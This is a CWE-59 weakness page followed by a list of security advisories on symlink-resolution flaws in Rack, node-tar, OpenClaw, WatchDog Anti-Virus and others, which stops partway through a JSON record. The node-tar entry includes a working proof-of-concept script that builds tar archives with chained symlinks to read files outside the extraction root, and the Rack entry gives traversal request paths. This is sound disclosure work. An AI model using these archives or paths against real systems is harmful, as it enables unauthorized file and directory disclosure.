CWE-59
Weakness AllowedImproper Link Resolution Before File Access
Abstraction: Base · Status: Draft
The product attempts to access a file based on the filename, but it does not properly prevent that filename from identifying a link or shortcut that resolves to an unintended resource.
Mapping guidance
This CWE entry is at the Base level of abstraction, which is a preferred level of abstraction for mapping to the root causes of vulnerabilities.
Carefully read both the name and description to ensure that this mapping is an appropriate fit. Do not try to 'force' a mapping to a lower-level Base/Variant simply to comply with this preferred level of abstraction.
Modes of introduction
REALIZATION: This weakness is caused during implementation of an architectural security tactic.
Detection methods
Automated Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Bytecode Weakness Analysis - including disassembler + source code weakness analysis
Effectiveness: SOAR Partial
Manual Static Analysis - Binary or Bytecode
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Binary / Bytecode disassembler - then use manual analysis for vulnerabilities & anomalies
Effectiveness: SOAR Partial
Dynamic Analysis with Automated Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Web Application Scanner
Web Services Scanner
Database Scanners
Effectiveness: SOAR Partial
Dynamic Analysis with Manual Results Interpretation
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Fuzz Tester
Framework-based Fuzzer
Effectiveness: SOAR Partial
Manual Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Focused Manual Spotcheck - Focused manual analysis of source
Manual Source Code Review (not inspections)
Effectiveness: High
Automated Static Analysis - Source Code
According to SOAR [REF-1479], the following detection techniques may be useful:
Cost effective for partial coverage:
Source code Weakness Analyzer
Context-configured Source Code Weakness Analyzer
Effectiveness: SOAR Partial
Architecture or Design Review
According to SOAR [REF-1479], the following detection techniques may be useful:
Highly cost effective:
Formal Methods / Correct-By-Construction
Cost effective for partial coverage:
Inspection (IEEE 1028 standard) (can apply to requirements, design, source code, etc.)
Effectiveness: High
Notes
Theoretical
Link following vulnerabilities are Multi-factor Vulnerabilities (MFV). They are the combination of multiple elements: file or directory permissions, filename predictability, race conditions, and in some cases, a design limitation in which there is no mechanism for performing atomic file creation operations.
Some potential factors are race conditions, permissions, and predictability.
Content history
updated Time_of_Introduction
updated Alternate_Terms, Applicable_Platforms, Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities
updated Relationships, Taxonomy_Mappings
updated Relationships
updated Description, Name
updated Background_Details, Other_Notes
updated Potential_Mitigations, Relationships
updated Related_Attack_Patterns
updated Common_Consequences
updated Relationships, Taxonomy_Mappings
updated Common_Consequences, Observed_Examples, References, Relationships
updated Potential_Mitigations
updated Common_Consequences, Other_Notes
updated Detection_Factors, Relationships, Taxonomy_Mappings
updated Relationships
updated Affected_Resources, Applicable_Platforms, Causal_Nature, Common_Consequences, Functional_Areas, Likelihood_of_Exploit, Modes_of_Introduction, Relationships, Taxonomy_Mappings
updated Taxonomy_Mappings
updated Relationships
updated Relationships
updated Relationships
updated Relationships
updated Research_Gaps
updated Relationships
updated Alternate_Terms, Background_Details, Observed_Examples, References, Relationship_Notes, Theoretical_Notes
updated Description
updated Relationships
updated Mapping_Notes
updated Detection_Factors, References
updated Applicable_Platforms, Relationships
updated Alternate_Terms, Name, Observed_Examples
2740 vulnerabilities reference this CWE, most recent first.
GHSA-MHJ6-XC86-54M8
Vulnerability from github – Published: 2026-12-03 23:44 – Updated: 2026-12-03 23:44Summary
Rack::Directory#get decides whether a request path containing .. stays inside the root by expanding it lexically with File.expand_path, but then joins the original, unnormalized path onto the root and passes it to File.stat and Dir.foreach. The operating system resolves a symbolic link before applying a .. that follows it, so when a directory under the root is a symlink, a request such as /system/../ passes the check while the filesystem lists the parent of the link's target, and /system/../config/ lists a sibling of the target. Both are outside the root. This results in disclosure of file and directory names, sizes and modification times outside the served tree.
Details
The check and the filesystem access use different paths:
def get(env)
path_info = Utils.unescape_path(env[PATH_INFO])
if client_error_response = check_bad_request(path_info) || check_forbidden(path_info)
client_error_response
else
path = ::File.join(@root, path_info) # unnormalized
list_path(env, path, path_info, script_name) # File.stat, Dir.foreach
end
end
def check_forbidden(path_info)
return unless path_info.include? ".."
expanded_path = ::File.expand_path(::File.join(@root, path_info)) # lexical
return if expanded_path == @root || expanded_path.start_with?(@root_with_separator)
# 403
end
With public/system linked to shared/system, File.expand_path("public/system/../") is public, so the request is allowed, but Dir.foreach("public/system/../") is evaluated by the kernel as shared/system/.., which is shared. The climb is bounded to one level above each symlink target, but any further symlink discovered in a listing can be used to climb again. Percent-encoded forms such as %2E%2E behave the same way. The Rack::Files application that Rack::Directory delegates to for files normalizes the path with Utils.clean_path_info before touching the filesystem, so file contents outside the root are not readable through this path; only directory listings leak.
Rack::Directory documents that it follows symbolic links, meaning that the link's target is served. This issue goes further: the target's parent and siblings become browsable.
All supported versions since 2.2.0 are affected. Earlier versions rejected every path containing ...
Impact
Applications that mount Rack::Directory, directly or through rackup with a directory application, with any symbolic link to a directory under the root. The Capistrano convention of linking public/system, public/uploads or public/assets into a release-independent shared/ directory is the common case, and shared/ typically also holds config/database.yml, config/master.key, logs and PID files. An unauthenticated attacker obtains the names, sizes and modification times of those entries, and can walk further through any other symlinks found. No authentication, malformed HTTP, or large payload is required. File contents are not disclosed.
Mitigation
- Update to a patched version of Rack, in which
Rack::Directorynormalizes the request path withUtils.clean_path_infobefore accessing the filesystem, asRack::Filesalready does. - Avoid symbolic links to directories under a root served by
Rack::Directory, or avoid exposingRack::Directoryto untrusted clients. - At a reverse proxy, reject request paths containing
..or%2E%2Esegments.
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "2.2.0"
},
{
"fixed": "2.2.26"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.0.0"
},
{
"fixed": "3.1.24"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "RubyGems",
"name": "rack"
},
"ranges": [
{
"events": [
{
"introduced": "3.2.0"
},
{
"fixed": "3.2.9"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-142593"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-03T23:44:42Z",
"nvd_published_at": "2026-12-02T22:18:36Z",
"severity": "MODERATE"
},
"details": "## Summary\n\n`Rack::Directory#get` decides whether a request path containing `..` stays inside the root by expanding it lexically with `File.expand_path`, but then joins the original, unnormalized path onto the root and passes it to `File.stat` and `Dir.foreach`. The operating system resolves a symbolic link before applying a `..` that follows it, so when a directory under the root is a symlink, a request such as `/system/../` passes the check while the filesystem lists the parent of the link\u0027s target, and `/system/../config/` lists a sibling of the target. Both are outside the root. This results in disclosure of file and directory names, sizes and modification times outside the served tree.\n\n## Details\n\nThe check and the filesystem access use different paths:\n\n```ruby\ndef get(env)\n path_info = Utils.unescape_path(env[PATH_INFO])\n if client_error_response = check_bad_request(path_info) || check_forbidden(path_info)\n client_error_response\n else\n path = ::File.join(@root, path_info) # unnormalized\n list_path(env, path, path_info, script_name) # File.stat, Dir.foreach\n end\nend\n\ndef check_forbidden(path_info)\n return unless path_info.include? \"..\"\n expanded_path = ::File.expand_path(::File.join(@root, path_info)) # lexical\n return if expanded_path == @root || expanded_path.start_with?(@root_with_separator)\n # 403\nend\n```\n\nWith `public/system` linked to `shared/system`, `File.expand_path(\"public/system/../\")` is `public`, so the request is allowed, but `Dir.foreach(\"public/system/../\")` is evaluated by the kernel as `shared/system/..`, which is `shared`. The climb is bounded to one level above each symlink target, but any further symlink discovered in a listing can be used to climb again. Percent-encoded forms such as `%2E%2E` behave the same way. The `Rack::Files` application that `Rack::Directory` delegates to for files normalizes the path with `Utils.clean_path_info` before touching the filesystem, so file contents outside the root are not readable through this path; only directory listings leak.\n\n`Rack::Directory` documents that it follows symbolic links, meaning that the link\u0027s target is served. This issue goes further: the target\u0027s parent and siblings become browsable.\n\nAll supported versions since 2.2.0 are affected. Earlier versions rejected every path containing `..`.\n\n## Impact\n\nApplications that mount `Rack::Directory`, directly or through `rackup` with a directory application, with any symbolic link to a directory under the root. The Capistrano convention of linking `public/system`, `public/uploads` or `public/assets` into a release-independent `shared/` directory is the common case, and `shared/` typically also holds `config/database.yml`, `config/master.key`, logs and PID files. An unauthenticated attacker obtains the names, sizes and modification times of those entries, and can walk further through any other symlinks found. No authentication, malformed HTTP, or large payload is required. File contents are not disclosed.\n\n## Mitigation\n\n* Update to a patched version of Rack, in which `Rack::Directory` normalizes the request path with `Utils.clean_path_info` before accessing the filesystem, as `Rack::Files` already does.\n* Avoid symbolic links to directories under a root served by `Rack::Directory`, or avoid exposing `Rack::Directory` to untrusted clients.\n* At a reverse proxy, reject request paths containing `..` or `%2E%2E` segments.",
"id": "GHSA-mhj6-xc86-54m8",
"modified": "2026-12-03T23:44:42Z",
"published": "2026-12-03T23:44:42Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/rack/rack/security/advisories/GHSA-mhj6-xc86-54m8"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-142593"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/42af7a7b10c54021e060e52c91a590a5d5f2a48d"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/c7102e91e4a1ee832b006790de31b3d5b207b89e"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/commit/d73bdad9e2ebec7217ecd3e9bbc079f076b0d120"
},
{
"type": "PACKAGE",
"url": "https://github.com/rack/rack"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/releases/tag/v2.2.26"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/releases/tag/v3.1.24"
},
{
"type": "WEB",
"url": "https://github.com/rack/rack/releases/tag/v3.2.9"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
"type": "CVSS_V3"
}
],
"summary": "Rack: `Rack::Directory` lists directories outside the root when `..` follows a symbolic link"
}
GHSA-MHP8-FVH4-C285
Vulnerability from github – Published: 2026-09-20 15:30 – Updated: 2026-09-20 15:30Improper link resolution before file access in the quarantine restoration process of WatchDog Anti-Virus 1.8.640 on Windows allows local, low-privileged attackers to cause a quarantined file to be written to an arbitrary filesystem location by creating a directory junction at the original file path and persuading an administrator to restore the file. This may enable modification of protected files or SYSTEM-level code execution through DLL hijacking.
{
"affected": [],
"aliases": [
"CVE-2026-92253"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2026-09-20T13:17:46Z",
"severity": "MODERATE"
},
"details": "Improper link resolution before file access in the quarantine restoration process of WatchDog Anti-Virus 1.8.640 on Windows allows local, low-privileged attackers to cause a quarantined file to be written to an arbitrary filesystem location by creating a directory junction at the original file path and persuading an administrator to restore the file. This may enable modification of protected files or SYSTEM-level code execution through DLL hijacking.",
"id": "GHSA-mhp8-fvh4-c285",
"modified": "2026-09-20T15:30:23Z",
"published": "2026-09-20T15:30:23Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-92253"
},
{
"type": "WEB",
"url": "https://watchdog.com/anti-virus-release-notes"
},
{
"type": "WEB",
"url": "https://watchdog.com/vulnerability-disclosure-policy"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:L/UI:A/VC:L/VI:L/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:L/U:Green",
"type": "CVSS_V4"
}
]
}
GHSA-MHQM-9WJ8-W7R4
Vulnerability from github – Published: 2026-12-02 01:10 – Updated: 2026-12-02 01:10Summary
node-tar checks that a symlink's target stays inside cwd, but the check is lexical. It runs path.resolve(dirname, linkpath), which collapses .. without following symlinks. Entry 1 s1 -> . is accepted because its target is cwd. Entry 2 s2 -> s1/../secret.txt resolves lexically to <cwd>/secret.txt and is accepted too. On disk the kernel resolves s1 to cwd first and then applies .., so s2 points to <cwd>/../secret.txt, outside the extraction root. Repeating s1/ climbs further. node-tar rejects the direct form (../secret.txt gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.
Affected
tar 7.5.22 (latest). src/unpack.ts, the [STRIPABSOLUTEPATH] normalize/startsWith('../') check and the [SYMLINK] path (dist/esm/unpack.js around lines 224-244 and 511-513).
Reproduction
tar 7.5.22, tar-stream 3.2.2, node 22, Docker with --network none. secret.txt sits next to the extraction dir.
const tar = require('tar'), tarstream = require('tar-stream'), fs = require('fs'), path = require('path');
const base = process.argv[2]; const root = path.join(base,'root'); const ext = path.join(root,'ext');
fs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,'secret.txt'),'CANARY\n');
const ents = {
direct: [{name:'evil',type:'symlink',linkname:'../secret.txt'}],
dotdot_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/../secret.txt'}],
hardlink_via_s1: [{name:'s1',type:'symlink',linkname:'.'},{name:'h',type:'link',linkname:'s1/../secret.txt'}],
hardlink_abs: [{name:'h',type:'link',linkname:path.join(root,'secret.txt')}],
file_through_link: [{name:'s1',type:'symlink',linkname:'.'},{name:'s2',type:'symlink',linkname:'s1/..'},{name:'s2/pwn.txt',type:'file',data:'X'}],
};
(async()=>{ for (const [k,es] of Object.entries(ents)) {
fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,'pwn.txt'),{force:true}); fs.mkdirSync(ext,{recursive:true});
const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();
const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,'t.tar'), Buffer.concat(chunks));
const warns=[]; try { await tar.x({file:path.join(base,'t.tar'), cwd:ext, onwarn:(c,m)=>warns.push(c)}); } catch(e){ warns.push('ERR '+e.message); }
const ls = fs.readdirSync(ext).map(n=>{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?'->'+fs.readlinkSync(path.join(ext,n)):'')}catch(e){return n}});
let rd='-'; for (const n of ['evil','s2','h']) try { rd=n+':'+JSON.stringify(fs.readFileSync(path.join(ext,n),'utf8')); break;}catch(e){}
console.log(k.padEnd(18), 'warn=',JSON.stringify(warns),'entries=',JSON.stringify(ls),'read=',rd,'pwn_outside=',fs.existsSync(path.join(root,'pwn.txt')));
}})();
direct warn= ["TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
dotdot_via_s1 warn= [] entries= ["s1->.","s2->s1/../secret.txt"] read= s2:"CANARY\n" pwn_outside= false
hardlink_via_s1 warn= ["TAR_ENTRY_ERROR"] entries= ["s1->."] read= - pwn_outside= false
hardlink_abs warn= ["TAR_ENTRY_INFO","TAR_ENTRY_ERROR"] entries= [] read= - pwn_outside= false
file_through_link warn= ["TAR_ENTRY_ERROR"] entries= ["s1->.","s2->s1/.."] read= - pwn_outside= false
The direct form is rejected (control). The two-step form extracts with no warning, and reading s2 returns the file outside the root.
Impact and limits
Hardlinks through s1/.. and writes through s2/ are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).
Suggested fix
Validate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a .. that follows a symlink component, or resolve the existing prefix with realpath before the containment check.
Reported by Zachariah Mithani (zachariah@aplosai.com).
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "tar"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "8.0.0"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-140244"
],
"database_specific": {
"cwe_ids": [
"CWE-22",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-12-02T01:10:55Z",
"nvd_published_at": "2026-12-01T18:17:28Z",
"severity": "HIGH"
},
"details": "### Summary\n\nnode-tar checks that a symlink\u0027s target stays inside `cwd`, but the check is lexical. It runs `path.resolve(dirname, linkpath)`, which collapses `..` without following symlinks. Entry 1 `s1 -\u003e .` is accepted because its target is cwd. Entry 2 `s2 -\u003e s1/../secret.txt` resolves lexically to `\u003ccwd\u003e/secret.txt` and is accepted too. On disk the kernel resolves `s1` to cwd first and then applies `..`, so `s2` points to `\u003ccwd\u003e/../secret.txt`, outside the extraction root. Repeating `s1/` climbs further. node-tar rejects the direct form (`../secret.txt` gives TAR_ENTRY_ERROR), so it treats outside-pointing symlinks as in scope. This bypasses the linkpath containment added for GHSA-8qq5-rm4j-mr97 and related advisories.\n\n### Affected\n\ntar 7.5.22 (latest). `src/unpack.ts`, the `[STRIPABSOLUTEPATH]` normalize/startsWith(\u0027../\u0027) check and the `[SYMLINK]` path (`dist/esm/unpack.js` around lines 224-244 and 511-513).\n\n### Reproduction\n\ntar 7.5.22, tar-stream 3.2.2, node 22, Docker with `--network none`. `secret.txt` sits next to the extraction dir.\n\n```js\nconst tar = require(\u0027tar\u0027), tarstream = require(\u0027tar-stream\u0027), fs = require(\u0027fs\u0027), path = require(\u0027path\u0027);\nconst base = process.argv[2]; const root = path.join(base,\u0027root\u0027); const ext = path.join(root,\u0027ext\u0027);\nfs.mkdirSync(root,{recursive:true}); fs.writeFileSync(path.join(root,\u0027secret.txt\u0027),\u0027CANARY\\n\u0027);\nconst ents = {\n direct: [{name:\u0027evil\u0027,type:\u0027symlink\u0027,linkname:\u0027../secret.txt\u0027}],\n dotdot_via_s1: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027s2\u0027,type:\u0027symlink\u0027,linkname:\u0027s1/../secret.txt\u0027}],\n hardlink_via_s1: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027h\u0027,type:\u0027link\u0027,linkname:\u0027s1/../secret.txt\u0027}],\n hardlink_abs: [{name:\u0027h\u0027,type:\u0027link\u0027,linkname:path.join(root,\u0027secret.txt\u0027)}],\n file_through_link: [{name:\u0027s1\u0027,type:\u0027symlink\u0027,linkname:\u0027.\u0027},{name:\u0027s2\u0027,type:\u0027symlink\u0027,linkname:\u0027s1/..\u0027},{name:\u0027s2/pwn.txt\u0027,type:\u0027file\u0027,data:\u0027X\u0027}],\n};\n(async()=\u003e{ for (const [k,es] of Object.entries(ents)) {\n fs.rmSync(ext,{recursive:true,force:true}); fs.rmSync(path.join(root,\u0027pwn.txt\u0027),{force:true}); fs.mkdirSync(ext,{recursive:true});\n const p = tarstream.pack(); for (const e of es) p.entry({name:e.name,type:e.type,linkname:e.linkname,mode:0o644}, e.data); p.finalize();\n const chunks=[]; for await (const c of p) chunks.push(c); fs.writeFileSync(path.join(base,\u0027t.tar\u0027), Buffer.concat(chunks));\n const warns=[]; try { await tar.x({file:path.join(base,\u0027t.tar\u0027), cwd:ext, onwarn:(c,m)=\u003ewarns.push(c)}); } catch(e){ warns.push(\u0027ERR \u0027+e.message); }\n const ls = fs.readdirSync(ext).map(n=\u003e{try{return n+(fs.lstatSync(path.join(ext,n)).isSymbolicLink()?\u0027-\u003e\u0027+fs.readlinkSync(path.join(ext,n)):\u0027\u0027)}catch(e){return n}});\n let rd=\u0027-\u0027; for (const n of [\u0027evil\u0027,\u0027s2\u0027,\u0027h\u0027]) try { rd=n+\u0027:\u0027+JSON.stringify(fs.readFileSync(path.join(ext,n),\u0027utf8\u0027)); break;}catch(e){}\n console.log(k.padEnd(18), \u0027warn=\u0027,JSON.stringify(warns),\u0027entries=\u0027,JSON.stringify(ls),\u0027read=\u0027,rd,\u0027pwn_outside=\u0027,fs.existsSync(path.join(root,\u0027pwn.txt\u0027)));\n}})();\n```\n\n```\ndirect warn= [\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\ndotdot_via_s1 warn= [] entries= [\"s1-\u003e.\",\"s2-\u003es1/../secret.txt\"] read= s2:\"CANARY\\n\" pwn_outside= false\nhardlink_via_s1 warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1-\u003e.\"] read= - pwn_outside= false\nhardlink_abs warn= [\"TAR_ENTRY_INFO\",\"TAR_ENTRY_ERROR\"] entries= [] read= - pwn_outside= false\nfile_through_link warn= [\"TAR_ENTRY_ERROR\"] entries= [\"s1-\u003e.\",\"s2-\u003es1/..\"] read= - pwn_outside= false\n```\n\nThe direct form is rejected (control). The two-step form extracts with no warning, and reading `s2` returns the file outside the root.\n\n### Impact and limits\n\nHardlinks through `s1/..` and writes through `s2/` are still blocked. The result is a planted symlink pointing outside the extraction root. Anything that later reads, serves, copies or archives the extracted tree follows it, which gives arbitrary file read (for example package installers, build or CI systems, and archive previewers). Estimated CVSS 3.1 AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N (5.9).\n\n### Suggested fix\n\nValidate the symlink target on the real filesystem. Walk its components with lstat (as ENSURE_NO_SYMLINK does for entry paths) and reject a `..` that follows a symlink component, or resolve the existing prefix with realpath before the containment check.\n\nReported by Zachariah Mithani (zachariah@aplosai.com).",
"id": "GHSA-mhqm-9wj8-w7r4",
"modified": "2026-12-02T01:10:55Z",
"published": "2026-12-02T01:10:55Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/security/advisories/GHSA-mhqm-9wj8-w7r4"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-140244"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/commit/23b368128b6cf7d4c26f2e302c0e4a82f70a6e3d"
},
{
"type": "PACKAGE",
"url": "https://github.com/isaacs/node-tar"
},
{
"type": "WEB",
"url": "https://github.com/isaacs/node-tar/releases/tag/v8.0.0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:L/VI:H/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "node-tar: Symlink containment bypass via nested symlink + \u0027..\u0027 (lexical linkpath check)"
}
GHSA-MJ4P-RC52-M843
Vulnerability from github – Published: 2026-03-13 15:48 – Updated: 2026-03-13 15:48Summary
In affected versions of openclaw, sandbox fs-bridge writes validated the destination before commit, but temporary file creation and population were not pinned to a verified parent directory. A raced parent-path alias change could cause the staged temp file to be created outside the intended writable mount before the final guarded replace step.
Impact
This is a sandbox boundary bypass affecting integrity and availability within the writable mount scope. Attacker-controlled bytes could be written outside the intended validated path before the final guarded step ran.
Affected Packages and Versions
- Package:
openclaw(npm) - Affected versions:
<= 2026.3.8 - Fixed in:
2026.3.11
Technical Details
The older staging flow created and wrote the temporary file using target-directory shell path operations before the final replace step revalidated the destination. That meant the last guard protected only the final rename, not the earlier temp-file materialization path.
Fix
OpenClaw now resolves a pinned mount root plus relative parent path, creates the temporary file inside the verified parent directory, and performs the final atomic replace from that pinned directory context. The fix shipped in openclaw@2026.3.11.
Workarounds
Upgrade to 2026.3.11 or later.
{
"affected": [
{
"package": {
"ecosystem": "npm",
"name": "openclaw"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "2026.3.11"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [],
"database_specific": {
"cwe_ids": [
"CWE-367",
"CWE-59"
],
"github_reviewed": true,
"github_reviewed_at": "2026-03-13T15:48:16Z",
"nvd_published_at": null,
"severity": "HIGH"
},
"details": "## Summary\nIn affected versions of `openclaw`, sandbox fs-bridge writes validated the destination before commit, but temporary file creation and population were not pinned to a verified parent directory. A raced parent-path alias change could cause the staged temp file to be created outside the intended writable mount before the final guarded replace step.\n\n## Impact\nThis is a sandbox boundary bypass affecting integrity and availability within the writable mount scope. Attacker-controlled bytes could be written outside the intended validated path before the final guarded step ran.\n\n## Affected Packages and Versions\n- Package: `openclaw` (npm)\n- Affected versions: `\u003c= 2026.3.8`\n- Fixed in: `2026.3.11`\n\n## Technical Details\nThe older staging flow created and wrote the temporary file using target-directory shell path operations before the final replace step revalidated the destination. That meant the last guard protected only the final rename, not the earlier temp-file materialization path.\n\n## Fix\nOpenClaw now resolves a pinned mount root plus relative parent path, creates the temporary file inside the verified parent directory, and performs the final atomic replace from that pinned directory context. The fix shipped in `openclaw@2026.3.11`.\n\n## Workarounds\nUpgrade to `2026.3.11` or later.",
"id": "GHSA-mj4p-rc52-m843",
"modified": "2026-03-13T15:48:16Z",
"published": "2026-03-13T15:48:16Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/security/advisories/GHSA-mj4p-rc52-m843"
},
{
"type": "PACKAGE",
"url": "https://github.com/openclaw/openclaw"
},
{
"type": "WEB",
"url": "https://github.com/openclaw/openclaw/releases/tag/v2026.3.11"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:C/C:N/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "OpenClaw: Sandbox staged writes could escape the verified parent directory before commit"
}
GHSA-MJ69-3R69-43WQ
Vulnerability from github – Published: 2024-01-11 03:30 – Updated: 2025-11-04 00:30IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain root access due to improper access controls. IBM X-Force ID: 254658.
{
"affected": [],
"aliases": [
"CVE-2023-31003"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2024-01-11T03:15:09Z",
"severity": "HIGH"
},
"details": "IBM Security Access Manager Container (IBM Security Verify Access Appliance 10.0.0.0 through 10.0.6.1 and IBM Security Verify Access Docker 10.0.6.1) could allow a local user to obtain root access due to improper access controls. IBM X-Force ID: 254658.",
"id": "GHSA-mj69-3r69-43wq",
"modified": "2025-11-04T00:30:42Z",
"published": "2024-01-11T03:30:29Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2023-31003"
},
{
"type": "WEB",
"url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/254658"
},
{
"type": "WEB",
"url": "https://www.ibm.com/support/pages/node/7106586"
},
{
"type": "WEB",
"url": "http://seclists.org/fulldisclosure/2024/Nov/0"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJP9-97X3-23VJ
Vulnerability from github – Published: 2022-05-24 17:07 – Updated: 2022-11-10 12:01A symlink following vulnerability in the packaging of mailman in SUSE Linux Enterprise Server 11, SUSE Linux Enterprise Server 12; openSUSE Leap 15.1 allowed local attackers to escalate their privileges from user wwwrun to root. Additionally arbitrary files could be changed to group mailman. This issue affects: SUSE Linux Enterprise Server 11 mailman versions prior to 2.1.15-9.6.15.1. SUSE Linux Enterprise Server 12 mailman versions prior to 2.1.17-3.11.1. openSUSE Leap 15.1 mailman version 2.1.29-lp151.2.14 and prior versions.
{
"affected": [],
"aliases": [
"CVE-2019-3693"
],
"database_specific": {
"cwe_ids": [
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2020-01-24T10:15:00Z",
"severity": "HIGH"
},
"details": "A symlink following vulnerability in the packaging of mailman in SUSE Linux Enterprise Server 11, SUSE Linux Enterprise Server 12; openSUSE Leap 15.1 allowed local attackers to escalate their privileges from user wwwrun to root. Additionally arbitrary files could be changed to group mailman. This issue affects: SUSE Linux Enterprise Server 11 mailman versions prior to 2.1.15-9.6.15.1. SUSE Linux Enterprise Server 12 mailman versions prior to 2.1.17-3.11.1. openSUSE Leap 15.1 mailman version 2.1.29-lp151.2.14 and prior versions.",
"id": "GHSA-mjp9-97x3-23vj",
"modified": "2022-11-10T12:01:04Z",
"published": "2022-05-24T17:07:18Z",
"references": [
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2019-3693"
},
{
"type": "WEB",
"url": "https://bugzilla.suse.com/show_bug.cgi?id=1154328"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-01/msg00059.html"
},
{
"type": "WEB",
"url": "http://lists.opensuse.org/opensuse-security-announce/2020-02/msg00000.html"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
]
}
GHSA-MJR6-7M42-XGPP
Vulnerability from github – Published: 2022-05-24 17:47 – Updated: 2022-05-24 17:47Diagnostics Hub Standard Collector Service Elevation of Privilege Vulnerability This CVE ID is unique from CVE-2021-28313, CVE-2021-28322.
{
"affected": [],
"aliases": [
"CVE-2021-28321"
],
"database_specific": {
"cwe_ids": [
"CWE-269",
"CWE-59"
],
"github_reviewed": false,
"github_reviewed_at": null,
"nvd_published_at": "2021-04-13T20:15:00Z",
"severity": "HIGH"
},
